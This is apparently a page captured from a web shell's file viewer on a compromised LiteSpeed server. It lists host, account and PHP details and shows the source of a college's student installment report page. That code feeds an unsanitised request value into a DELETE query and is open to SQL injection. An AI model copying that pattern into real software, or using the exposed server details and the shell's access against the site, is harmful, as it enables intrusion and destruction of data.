|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/vtti.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include ("include/makeSession.php");
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
$dovalue="";
$doid=$_REQUEST['did'];
$check=mysqli_query($con,"delete from directsetinstallment where id='$doid'");
if($check){
$_SESSION['msg']='Record Deleted Successfully';
}
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=directsetinstallmentreports.php">';
exit;
}
?>
<div class="content-wrapper">
<section class="content-header">
<h1> Student Installment Reports</h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li><a href="#">Student Installment Reports</a></li>
</ol>
</section>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-xs-12">
<div class="box">
<div class="box-header">
<h3 class="box-title">Student Installment Reports :</h3>
</div><!-- /.box-header -->
<div class="box-body">
<table id="example1" class="table table-bordered table-striped">
<?php if(!empty($_SESSION['msg'])){
$msg=$_SESSION["msg"];
echo '<div class="col-md-8">
<div class="alert alert-success alert-dismissible">
<a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
'.$msg.'
</div>'; $_SESSION["msg"]='';} ?>
<thead>
<tr>
<th>SR NO</th>
<th>Student ID</th>
<th scope="col">Name</th>
<th scope="col">Mobile No</th>
<th scope="col">total Installment </th>
<th scope="col">Installment Date</th>
<th scope="col">Amount</th>
<th scope="col">Late Fine</th>
<th scope="col">Pay</th>
<?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1 ){ ?>
<th scope="col">Action</th>
<?php } ?>
</tr>
</thead>
<tbody>
<?php $Query=mysqli_query($con,"select * from direct_admission ");
$i = 1;
while($Row=mysqli_fetch_array($Query)){
$id=$Row['student_id'];
$Query2=mysqli_query($con,"select * from directsetinstallment where student_id='$id' ");
$num2=mysqli_num_rows($Query2);
if($num2>0){
?>
<tr>
<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$i;?></span></td>
<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$Row['student_id'];?></span></td>
<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelStudentFirstName_0"><?=$Row['name'];?></span></td>
<td><span id="ContentPlaceHolder1_GridViewEnquiry_LabelMobile_0"><?=$Row['mobileno'];?></span></td>
<td>
<?php
$j=1;
$Query1=mysqli_query($con,"select * from directsetinstallment where student_id='$id' ");
$num=mysqli_num_rows($Query1);
while($Row1=mysqli_fetch_array($Query1)){ ?>
<?php if($j==$num){
?>
<span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['numberofinstallment'];?></span><br/>
<?php } ?>
<?php $j++;} ?>
</td>
<td>
<?php
$j=1;
$Query1=mysqli_query($con,"select * from directsetinstallment where student_id='$id' ");
$num=mysqli_num_rows($Query1);
while($Row1=mysqli_fetch_array($Query1)){ ?>
<?php if($j<=$num){
?>
<span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['installmentdate'];?></span><br/>
<?php } ?>
<?php $j++;} ?>
</td>
<td>
<?php
$j=1;
$Query1=mysqli_query($con,"select * from directsetinstallment where student_id='$id' ");
$num=mysqli_num_rows($Query1);
while($Row1=mysqli_fetch_array($Query1)){ ?>
<?php if($j<=$num){
?>
<span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['amount'];?></span><br/>
<?php } ?>
<?php $j++;} ?>
</td>
<td>
<?php
$j=1;
$Query1=mysqli_query($con,"select * from directsetinstallment where student_id='$id' ");
$num=mysqli_num_rows($Query1);
while($Row1=mysqli_fetch_array($Query1)){ ?>
<?php if($j<=$num){
?>
<span id="ContentPlaceHolder1_GridViewEnquiry_LabelLastQualification_0"><?=$Row1['latefine'];?></span><br/>
<?php } ?>
<?php $j++;} ?>
</td>
<td>
<?php
$j=1;
$Query1=mysqli_query($con,"select * from directsetinstallment where student_id='$id' ");
$num=mysqli_num_rows($Query1);
while($Row1=mysqli_fetch_array($Query1)){
?>
<?php if($j<=$num){
$Query2=mysqli_query($con,"select * from directpayinstallment where installment_id='".$Row1["id"]."' ");
$num2=mysqli_num_rows($Query2);
$Row2=mysqli_fetch_array($Query2);
if($num2>0){
?>
<a href="#"><i class="fa fa-paypal text-green"></i></a> || <a href="./directpaymentdetails.php?upid=<?php echo $Row2["id"]; ?>" >
<i class="fa fa-eye" aria-hidden="true"></i>
</a><br/>
<?php }else{ ?>
<a href="./paydirectsetinstallment.php?upid=<?php echo $Row1["id"]; ?>">
<i class="fa fa-paypal text-red"></i></a><br/>
<?php } $j++;} }?>
</td>
<?php if(!empty($_SESSION["ecomid"]) && $_SESSION["ecomid"]==1){ ?>
<td>
<?php
$j=1;
$Query1=mysqli_query($con,"select * from directsetinstallment where student_id='$id' ");
$num=mysqli_num_rows($Query1);
while($Row1=mysqli_fetch_array($Query1)){ ?>
<?php if($j<=$num){
?>
<a href="./direecteditsetinstallment.php?upid=<?php echo $Row1["id"]; ?>"><i class="fa fa-pencil text-yellow"></i></a> <br/> <?php } ?>
<?php $j++;} ?>
</td>
<?php }?>
</tr>
<?php }$i++;} ?>
</tbody>
</table>
</div><!-- /.box-body -->
</div><!-- /.box -->
</div><!-- /.col -->
</div><!-- /.row -->
</section><!-- /.content -->
</div><!-- /.content-wrapper -->
<!-- footer start -->
<?php
include('include/footer.php');
?>
<!-- footer end -->
<!-- DataTables -->
<script src="plugins/datatables/jquery.dataTables.min.js" type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function() {
$('#example1').DataTable( {
dom: 'Bfrtip',
columnDefs: [
{
targets: 1,
className: 'noVis'
}
],
buttons: [
{
extend: 'colvis',
columns: ':not(.noVis)'
}
]
} );
} );
</script>